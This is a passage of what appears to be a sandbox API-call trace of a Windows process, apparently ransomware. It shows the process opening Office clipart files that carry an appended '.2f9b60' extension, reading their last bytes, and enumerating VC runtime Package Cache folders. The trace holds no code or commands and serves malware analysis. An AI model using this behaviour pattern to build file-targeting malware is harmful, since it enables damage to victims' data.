Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f51d7c94988f.2f9b60")) returned 0x20 [0150.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60", dwFileAttributes=0x20) returned 1 [0150.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f51d7c94988f.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2224 [0150.761] GetFileSizeEx (in: hFile=0x2224, lpFileSize=0x30dbfae0 | out: lpFileSize=0x30dbfae0*=25044) returned 1 [0150.761] SetFilePointerEx (in: hFile=0x2224, liDistanceToMove=0x61d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.761] ReadFile (in: hFile=0x2224, lpBuffer=0x30dbfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30dbfaa8, lpOverlapped=0x0 | out: lpBuffer=0x30dbfa60*, lpNumberOfBytesRead=0x30dbfaa8*=0x4, lpOverlapped=0x0) returned 1 [0150.761] FlushFileBuffers (hFile=0x2224) returned 1 [0150.763] CloseHandle (hObject=0x2224) returned 1 [0150.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60", dwFileAttributes=0x20) returned 1 [0150.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507350) returned 1 Thread: id = 2403 os_tid = 0x1df0 [0150.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f63af82678c5.2f9b60")) returned 0x20 [0150.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60", dwFileAttributes=0x20) returned 1 [0150.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\f63af82678c5.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2224 [0150.768] GetFileSizeEx (in: hFile=0x2224, lpFileSize=0x30f0fb40 | out: lpFileSize=0x30f0fb40*=22782) returned 1 [0150.768] SetFilePointerEx (in: hFile=0x2224, liDistanceToMove=0x58fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.768] ReadFile (in: hFile=0x2224, lpBuffer=0x30f0fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30f0fb08, lpOverlapped=0x0 | out: lpBuffer=0x30f0fac0*, lpNumberOfBytesRead=0x30f0fb08*=0x4, lpOverlapped=0x0) returned 1 [0150.769] FlushFileBuffers (hFile=0x2224) returned 1 [0150.771] CloseHandle (hObject=0x2224) returned 1 [0150.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60", dwFileAttributes=0x20) returned 1 [0150.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205073f0) returned 1 Thread: id = 2404 os_tid = 0x1e04 [0153.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf0) returned 0x1b78e580 [0153.321] wcscpy (in: _Dest=0x1b78e580, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0153.321] wcscat (in: _Dest=0x1b78e580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\" [0153.321] wcscat (in: _Dest=0x1b78e580, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" [0153.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.321] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0153.322] wcscmp (_String1=".", _String2=".") returned 0 [0153.322] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.322] wcscmp (_String1="..", _String2=".") returned 1 [0153.322] wcscmp (_String1="..", _String2="..") returned 0 [0153.322] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.322] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.322] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.322] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.322] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0153.322] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0153.322] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.322] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0153.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0153.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e580) returned 1 [0153.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e180) returned 1 Thread: id = 2405 os_tid = 0x1e08 [0153.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b78e180 [0153.326] wcscpy (in: _Dest=0x1b78e180, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0153.326] wcscat (in: _Dest=0x1b78e180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\" [0153.326] wcscat (in: _Dest=0x1b78e180, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" [0153.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.326] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0153.327] wcscmp (_String1=".", _String2=".") returned 0 [0153.327] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.327] wcscmp (_String1="..", _String2=".") returned 1 [0153.327] wcscmp (_String1="..", _String2="..") returned 0 [0153.327] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.327] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.327] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.327] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.327] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0153.327] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0153.327] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.327] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0153.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0153.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e180) returned 1 [0153.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798f80) returned 1 Thread: id = 2406 os_tid = 0x1e0c [0153.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b798f80 [0153.330] wcscpy (in: _Dest=0x1b798f80, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0153.330] wcscat (in: _Dest=0x1b798f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\" [0153.330] wcscat (in: _Dest=0x1b798f80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" [0153.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.330] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0153.331] wcscmp (_String1=".", _String2=".") returned 0 [0153.331] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.331] wcscmp (_String1="..", _String2=".") returned 1 [0153.331] wcscmp (_String1="..", _String2="..") returned 0 [0153.331] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.331] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.331] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.331] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.331] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0153.331] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0153.331] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.331] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0153.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0153.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798f80) returned 1 [0153.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 Thread: id = 2407 os_tid = 0x1e10 [0153.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e180 [0153.344] wcscpy (in: _Dest=0x1b78e180, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0153.344] wcscat (in: _Dest=0x1b78e180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\" [0153.344] wcscat (in: _Dest=0x1b78e180, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" [0153.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.345] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0153.345] wcscmp (_String1=".", _String2=".") returned 0 [0153.345] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.345] wcscmp (_String1="..", _String2=".") returned 1 [0153.345] wcscmp (_String1="..", _String2="..") returned 0 [0153.345] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.345] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.345] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.345] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.345] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0153.345] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0153.345] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.345] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0153.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0153.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e180) returned 1 [0153.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 Thread: id = 2408 os_tid = 0x1e14 [0153.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78e180 [0153.349] wcscpy (in: _Dest=0x1b78e180, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0153.349] wcscat (in: _Dest=0x1b78e180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\" [0153.349] wcscat (in: _Dest=0x1b78e180, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*" [0153.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.349] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 